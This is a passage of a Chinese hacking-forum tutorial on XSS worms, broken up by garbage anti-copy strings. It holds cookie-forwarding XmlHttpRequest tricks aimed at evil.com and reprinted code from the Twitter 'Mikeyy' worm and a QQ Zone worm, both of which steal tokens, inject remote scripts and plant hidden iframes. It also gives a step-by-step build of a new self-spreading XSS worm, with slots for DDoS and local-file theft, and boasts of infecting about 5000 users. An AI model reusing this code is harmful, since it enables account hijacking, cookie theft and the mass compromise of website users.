- u4 ]. _! T1 b
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE
. {! J6 v7 X6 I+ M; a9 K5 K
...
( l8 F: P+ D2 W1 |) m
http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

9 t4 h& [4 u5 N) {$ E  dvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 v  c8 m7 V7 l) D# i) |3 P
XmlHttp.open("GET","http://www.google.com",false);
- x; X; t; U1 H6 N, t
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
9 b! ~! M1 ^7 T! m$ Y2 n
XmlHttp.send(null);
2 a5 x0 u# Q+ h
" H6 x" o, U( Y1 u4 Q4 B# Z* y</script>
+ m% d$ i0 z- I1 |* C复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
5 d  r  r$ j2 U! H1 {
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

' m; |8 m) {: O6 m$ i3 z
! K7 W( ^/ z  i* M+ I; e
6 A; ]5 N4 A- e. XXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);

8 t% P: e8 J( N$ @( _<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
3 [! I, y  G! Q* v复制代码案例:Twitter 蠕蟲五度發威
: P6 \) W6 C* p! M/ a第一版:
  下载 (5.1 KB)

; k2 O  `  F7 l6 天前 08:27
2 ^" n6 a9 Q$ o5 Y/ p1 j$ v* Q1 i
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
0 T# w  @4 H' C# W( ~3 W
   2.   

0 [, P2 u! ~) X: ?$ N% w   3. function XHConn(){  

4 s3 e% H/ b' \1 j   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
& k5 k) N+ [) t1 M: Y/ k
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
) x/ }6 }% o8 n6 ]3 J' M, R复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
4 L: ~' e% b  V9 x+ r1 x
   3.   var tmp_cookie=document.cookie;  

+ a" p" i/ U; V1 ^   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
2 D' ~" s) x& w& \
   6.   var authtoken=authreg.exec(content);  
5 [1 G% f, z8 Q  s6 W1 V4 ?
   7.   var authtoken=authtoken[1];  
: L9 {4 P' Z% ]' y" t& y) v
   8.   var randomUpdate= new Array();  

! U: }8 @0 X  Z! `9 h/ U   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

) v" G& A6 o" A+ M  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  a' S6 M( U' W4 H! k  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
8 o' J, r' M" I8 L3 x. {, W1 ]; e
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
% i7 O4 W5 {( {* \) l) h5 S
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
* Z! |2 d2 m+ E: _3 V( ^
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

# z5 c  z$ c" x* Z9 y, r. z# u0 @  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
1 o) {& m  q0 ?3 N- E
/ A, C* @" d) [: r  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
+ X$ {% W  x6 t+ ~/ n' h  c: V
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

% P/ w% j' N. A- w  c: H$ j  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
" e# ~, r6 E9 |% F6 N# n
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
7 ?1 n5 E; `! @* _0 S$ O
; \# v# S! j% E+ V# f/ S  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
  r0 b5 i: y, S4 E
, I: J* H9 X: }! {  j. l6 u2 |" z  27.     

  28.   var ajaxConn= new XHConn();  
, m( z# k% f$ L5 v
* N$ `) r) l1 d* M8 m2 P* d  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

4 i2 @$ v. y) b& ?. A  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

" n% o4 h- B+ H3 }  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
  Y- L$ q) G4 d0 i( E
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

8 D! J% ?4 ^2 `4 ?& s+ g  35.   var XSS=urlencode(genXSS);  
+ `: \3 M0 g. _- u7 G
  36.   var ajaxConn2= new XHConn();  
; O/ a* A& v" N0 h4 d- q1 v' H! B
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

" Q. i0 q% P$ O, e0 x9 f6 a' V5 M  38.     
; |/ x; t8 \% _* l. D5 Y
  39. } ;  
9 |0 S7 ^' W- d
+ p& {3 m% ?! \9 G( n( i9 N  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
8 b" ?0 K2 S3 |; c& y) R2 S
+ E+ }, Z/ I' ?window.onerror=killErrors;



' S; @/ k$ w9 k+ lvar shendu;shendu=4;

//---------------global---v------------------------------------------
+ Z, s" L/ z3 }1 o- q8 _+ A3 Y, a
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
  L- `1 ^3 |+ y: Q& g2 ^) P
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
9 X' i  q) J" Q
1 P7 E9 q) p- Y- W) J- Y) bvar myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

/ b  W& p9 k& O# T  h6 v3 R, f8 m        gurl=gurl.substring(0,gurle+3);        
2 G. t+ d  E! [2 [3 O! ^
  t- F: x5 l$ P- ~6 R        var visitorID=top.document.documentElement.outerHTML;
7 C( b  ~# N: p
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

3 M% p7 \4 p) i+ ~0 Y        visitorID=visitorID.substring(cookieS+14);
9 ]7 _+ O, D5 W; n, R4 }6 g' U  ]
        cookieS=visitorID.indexOf(",");
- D- C5 |8 D+ v9 ]+ H( ]
        visitorID=visitorID.substring(0,cookieS);
2 _6 i. D+ T3 {. ^* L8 |/ _3 S
        get_my_blog(visitorID);
( X: D" q) i, G! H" N* y
        DOshuamy();
1 w2 P$ k4 t& a- p4 P- s. K6 T3 b0 z
7 S: B8 ^* \4 ?! @0 Z

//挂马
& J& E+ n3 t8 J5 h- _- F  ^0 f
' \. l, s9 r/ Y9 X6 Cfunction DOshuamy(){
" i% \9 w3 V/ H' F: {. D+ F
% Q: ^$ l( X3 \var ssr=document.getElementById("veryTitle");
8 z' o" b  z) I: d
$ R: q0 T1 s7 o3 R, Y0 d; ]ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
, w! {7 M1 k+ s8 V4 `4 U. D
}
2 k5 e% g6 B- g7 w8 Q  _
9 E0 i; t- ]5 q$ V
: n. J0 i- F- H% h' i4 H
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
5 i. E1 u7 y- _2 \) K7 u3 j
function get_my_blog(visitorID){
' W  c. h- `6 T
' Z& s9 X+ @. K2 m  Z. A4 b9 l   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
* m: E: l& M2 W! j5 Z+ Q
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

' @/ }! R3 R& X- M) g0 r) P   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
4 a6 w' G9 C, G- {2 _& p- T0 K3 Y
3 k8 f" h8 A8 X" u; k     xhr.send();guest=xhr.responseText;

0 k$ V+ F+ v) h4 p: r2 t4 m     get_my_blogurl(guest);    //执行这个函数
/ U4 q+ O! R0 u& u
: o# Y# |  X, [. \    }
0 `5 F, |) x+ z$ v0 M, v4 ?
}
; a6 [/ o" }0 M7 M5 W
& B5 F1 h  ~7 u$ N: j3 o: L0 q6 P! N
! p  E0 N& g6 q" b6 u" e; T
//这里似乎是判断没有登录的
- ?9 w- S2 f3 C% X' A6 T  D
9 P, ~( [2 c: W! z2 {! H: N: _function get_my_blogurl(guest){

( z3 N2 I$ P1 a% f! X& L2 }+ D" m  var mybloglist=guest;
, h1 v: c9 x" `  g( V6 [( Q% B
  var myurls;var blogids;var blogide;
1 N0 ~' e, S6 Q! \" _  j
  for(i=0;i<shendu;i++){
7 M( F4 |/ x1 s$ R- u
+ H- O& a( y0 Z, A& S- Z     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

1 E& _, G: q+ n) W0 x$ K5 C     if(myurls!=-1){    //找到了就执行下面的

5 e( |: h0 l' H- x4 `; F  W         mybloglist=mybloglist.substring(myurls+11);
' H; M! E# a4 M2 B% Q9 t; a
5 a6 ~4 M9 y" c+ p/ I7 H! |         myurls=mybloglist.indexOf(')');

" M2 {3 E4 n* m. D1 ~% Y         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
0 W" J! z& c* T2 I  a
3 `* V0 j- J% r$ t}
+ e* v0 Z2 v6 B. t2 d$ f2 {5 S
get_my_testself();    //执行这个函数
5 V. X3 Y. r' m  P0 [$ P
) L; F& M/ V  E7 y% k7 S" a2 h}
5 U& [* c- c3 _- S+ H3 [- A

) u7 A% o6 C) _! O/ J2 L! l
//这里往哪跳就不知道了
, d: I6 Q. k# n( m9 j1 i; y2 R
1 M! a- I* `$ p( p  i; ofunction get_my_testself(){

; q: ^' r! V7 H' G( I6 I: `  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

5 U' b0 b# |0 H/ B  D' p      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;

; [1 ?$ e" m+ \6 C+ f              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
+ p4 S2 A! X, b; O) @6 A
5 W% U. X) G' t/ U5 d' ^; M              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

- Y' g( ~6 `' S1 y7 C9 X) S                targetblogurlid=myblogid;   

6 s4 |: Z# [: U8 S7 _) f& \/ B                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
9 s2 c2 m4 O9 l$ N( P' Y3 A
                break;

               }

              if(mycheckit=="-1"){
8 M0 J* F+ I7 j0 J% H) H1 H
' l6 O( T: H' A0 f, e: K                targetblogurlid=myblogid;
  y. {- L6 P+ m- O' ?; B5 G
) ?0 s1 R0 P8 i1 N6 {                add_js(visitorID,targetblogurlid,gurl);    //执行它
+ C" e8 i: u: [1 P/ E
                break;
5 L9 T2 V* }/ ~6 I
               }
! `; v# b& ~4 L! h
5 \5 d; C3 U( |4 c        }      

+ A$ A6 }/ ^# P5 b$ e' @$ i7 `1 k3 t9 ~}
; ^' ]/ m) G' \+ v. @( i
& e; Y$ _; k' j+ A7 v}
! d% `$ X/ R& h( k, u( l


//--------------------------------------  
7 o) u3 H. A: x4 s2 X/ f# r. n9 w1 u- f
6 O2 B  ^; N$ n+ M% r, Z( o2 C" M//根据浏览器创建一个XMLHttpRequest对象

* H6 ?3 \3 G9 d( [function createXMLHttpRequest(){

    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
5 A6 b, u4 A* p# s% C5 Y
    else  
' e6 d" B" E  g7 o: k2 y0 E
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
. \" B( X& C! c2 s3 \
        for(var i=0;i<MSXML.length;i++)  

/ c( M6 R. w& I4 m& Z        {  

            try  

            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
5 g% o6 x+ r+ D6 H8 X/ D' E
2 L( M4 D0 f6 ~  H6 `                break;  
, V, d0 ]* k& j9 O4 j  p# F' v
            }  

+ o- J; I- S/ K* C4 F            catch (ex) {  
7 d) d. K( v: ~' B
            }  

         }  

% r# K4 S: ?4 F      }
/ x# f0 ~* E3 D# e3 I0 r
; z# Q: T/ P6 z# q3 {6 vreturn XMLhttpObject;

}  

" j  q& C+ W* e% D$ Z
( i1 K  B  p- L  ]" O" ~7 a: s
" M3 e! z' J/ |6 w. J5 B8 ?, f//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){

* k7 b7 W9 J, z0 Tvar s2=document.createElement('script');

2 S8 w1 ~9 l% Hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
/ a. N. h: D8 t% _5 N; S/ e+ y
s2.type='text/javascript';

5 A( i5 @; z% E! B8 u* B4 r, Adocument.getElementsByTagName('head').item(0).appendChild(s2);
1 N8 }( ~5 V/ H
( `$ k2 S7 R  J5 J}
4 q+ [7 X5 N- R

$ m. ]. H* P6 w- f8 Q* o$ J# a% J
function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

+ Q0 D( `* {. r& U( \" B9 K5 A+ w! F  u9 ns2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

1 J! ^( L% W4 g: A3 M5 w1 b7 B7 Ds2.type='text/javascript';

# E; s9 A- d& G1 b$ S' ~, I: wdocument.getElementsByTagName('head').item(0).appendChild(s2);
. B7 A  M% h4 W0 I" C0 i
. c; w; G9 h4 v3 m4 A" ?}
; F( X8 P6 r4 \. n1 `% i8 r复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

7 r& x. G3 a9 h+ r1 l9 J2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

6 B# [1 N1 }  A6 B7 h6 |8 ]综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
1 E. _2 l9 d6 y: J# M8 w# D  a
首先,自然是判断不同浏览器,创建不同的对象var request = false;
/ h! ^, g/ |- O$ N, e0 G+ j
6 L4 V# I* ?0 m# ]: k0 Aif(window.XMLHttpRequest) {

request = new XMLHttpRequest();
% n* Z; E% J5 a
/ N  P0 g& w- T! ?) O' L! Iif(request.overrideMimeType) {

8 E% K# N/ a( k/ rrequest.overrideMimeType('text/xml');

}
$ G6 L3 C( n5 o
* Y1 a1 e1 K" U# Y. V- r6 D) L} else if(window.ActiveXObject) {
& }' r  o# Q# E3 K
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {
0 Z1 R$ r, @* i
try {
) f* _, W! X' \
5 e( U# F/ ?; ~+ m2 arequest = new ActiveXObject(versions);
- ]& ?! m# V; O" n+ j
} catch(e) {}

}
( z% c9 t& g" w9 c. O
}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
& {3 x( H6 J# ?+ q: W
        var Browser_Version=parseFloat(navigator.appVersion);
2 Q* q+ I2 e9 X5 F. B/ h* [' u
        var Browser_Agent=navigator.userAgent;
- l" K8 j  @+ H' J7 J  F( o& c1 j
        

1 p+ T" d/ m9 J9 Z        var Actual_Version,Actual_Name;

        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
/ @: |' Z2 J- y- ^
        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
4 s, Z% O6 u# C& f" Y2 j7 _
. a* K9 q9 ^* G1 m8 t% Y4 i        
: w+ x' y5 M, k
1 `) _$ l2 ?- X. i; s5 B) X: U        if(is_NN){
4 `0 ~+ O8 E. j( Q' t1 M0 C
( X9 Q+ J! l- _" Y' Y: U3 {! j            if(Browser_Version>=5.0){
$ b& F6 k  |% @% D) W$ @1 ?( P1 K
, F$ a+ s8 G2 W% U9 P6 U+ f; G. D8 n" j                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
, U, t5 b4 x! O, Q8 `& M
5 P5 c5 E7 n& ]( k1 G                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

1 ?* @5 d' G! M; S1 A5 `
$ q8 l( ^( Z* Z. I; m$ P+ x, g
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
" e' |8 k6 u: q3 f
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
- T0 S7 D2 E4 s6 u" _
. n2 N- z) l# i: y' E1 \# v            }
& u4 R  r* ]2 i* u
            else{

4 o6 l6 r! I) A2 ~                Actual_Version=Browser_Version;
2 q) E, U. H0 L5 W" ?: f
                Actual_Name=Browser_Name;
( g% a4 y: T( M2 y
            }
$ _/ t- v; L  B4 |# d: K# d: l
        }

        else if(is_IE){

( O- a; E/ W" _8 ?' J            var Version_Start=Browser_Agent.indexOf("MSIE");
3 B+ t6 ?. `6 Y
" a/ y. \* F- O0 D7 r            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

1 z: m6 W$ r8 d6 V4 h, y3 l            Actual_Name=Browser_Name;
; G& M7 \4 ]4 T9 s6 @
% p9 P' [9 ?9 \- y9 a, W# M$ H            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

7 O; Q3 U2 z1 _& j5 g1 I- L/ {                Actual_Name+="(Maxthon)";
  X, v5 t3 U& D
% I8 [+ R& k7 N* e) Q            }
) _1 g9 t- b% c1 x  ~4 X! K+ j
. F" H2 S, M. I: Y+ [+ C$ l1 \            else if(Browser_Agent.indexOf("Opera")!=-1){
: x) q/ Z  S! A5 o% ]
/ ~# V3 X' K0 G% S                Actual_Name="Opera";
8 d0 a* D! j4 S4 _
! g2 ~* }# B. Y- m                var tempstart=Browser_Agent.indexOf("Opera");
: w+ s3 y1 y; y- U
6 `0 |1 Z% g4 A4 b6 t; l2 q% W                var tempend=Browser_Agent.length;
: ^: _( ?9 m& D, N! A
" ^" I9 s. G. d                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

- ^8 B: w- ?/ G+ G, f$ [5 m        }

- I9 |- {: J% _9 F        else if(is_Ch){
) V7 X) G* k; W9 R" m
. H; I* R. a1 J0 _            var Version_Start=Browser_Agent.indexOf("Chrome");
! K6 h( B( A2 V, T# Z8 E7 X9 b. O% W
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 `' q4 t% ]! A4 r2 J
            Actual_Name=Browser_Name;
$ @2 d3 }# p& H% o3 g
; U! s; C# M! i7 ~2 J            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
; \( J0 h! O' m
            }
2 S' }9 v! r5 {
            else if(Browser_Agent.indexOf("Opera")!=-1){
( X  w& n* v( @
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
: X8 z4 s  R( ~* [% U: @
! c/ |: D% J0 S9 B9 b                var tempend=Browser_Agent.length;
2 k- \" y+ l  k  T- }" I" R! J7 I
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
1 k4 f+ V, v, m) d- p9 q
4 D/ `, x. i0 |# R1 C6 U7 K            }

1 N8 [+ ?4 I' b* Q        }

$ j! U1 H8 t" |: i# g: l        else{

            Actual_Name="Unknown Navigator"

5 o* u( A, k6 L$ v/ \; v            Actual_Version="Unknown Version"
$ ^- s5 y  f6 {- e# c, ?' q
+ E' l: z# I7 [" C/ W8 N- U# n! N        }



0 Y  S- v' T! z+ `5 P$ ]8 Q/ c  z        navigator.Actual_Name=Actual_Name;
6 q4 [0 n4 D7 s, h3 I( X
        navigator.Actual_Version=Actual_Version;

, o  B! d# m' t        

        this.Name=Actual_Name;

        this.Version=Actual_Version;

    }
5 U$ q* B, L1 k5 B
: v9 N. Q/ }4 o6 R5 [# F# K    browserinfo();

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
; q  ^! ]9 F1 X3 v9 A1 P3 ]
9 z6 Y' h: v& M6 k" a6 y/ k% V7 W    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
4 p2 }) U* H% _
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
% D6 g/ P! y& Z2 @/ t- _- P
xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

; E6 }: e; ?- A( l* Tvar id=0;var result;

* T5 B" u  [1 ^var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
% K. Y# {8 @' b4 i
while ((result = patt.exec(resource)) != null)  {
' V: d  f. _1 `, `' M9 Z) G
id++;
$ H: A4 }: G" h) K$ P7 }6 R
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

) ~+ J; ~' @  H1 u- l: C2 t! Yno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

2 w3 R; r2 c+ o: z& I+ P4 ]6 [var post="wd="+wd;

$ k( ?& U+ E0 ~; G/ j, ixmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
8 v; n/ j9 ~3 [" Z; U
% J# r! L3 \* Y7 {- X) H$ q9 jxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

# P! p6 y, _) q, j* Q; a8 o0 YxmlHttpReq.setRequestHeader("content-length",post.length);

0 |$ {* N) q7 E% G, T0 v2 ?) b; s6 HxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

}
0 Y/ t8 O: x8 l  P) ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
% v0 j" H/ D% @% b4 R  I& g3 s6 V2 y
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
- s1 c7 D) S: P$ _
& A% X5 m# N9 B0 bvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
' }2 t" g3 Z8 P/ f0 i$ ^2 s
' @# v. X1 F7 A$ o0 o' avar post="wd="+wd;
) P* O0 O$ @$ ^$ y( H" c
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

& B. c! {9 x% C* @: ^9 fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

5 S/ m; ~9 t; g$ NxmlHttpReq.send(post);                 //把传播的信息 POST出去.
# w& |( \! A. H
}
$ }! T( H  s* v8 D复制代码-----------------------------------------------------总结-------------------------------------------------------------------
) j/ w2 L2 N- i


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
6 I  y. c0 u  i" ]* ^( U$ x) q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

' S8 C- H% ^( H! r

; Y% }  b: t& b" i  X




3 Y! p$ G4 t% f本文引用文档资料:

! t, z8 I' N4 r1 {* H"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
6 v. }3 u8 o! H& {% Y1 fOther XmlHttpRequest tricks (Amit Klein, January 2003)
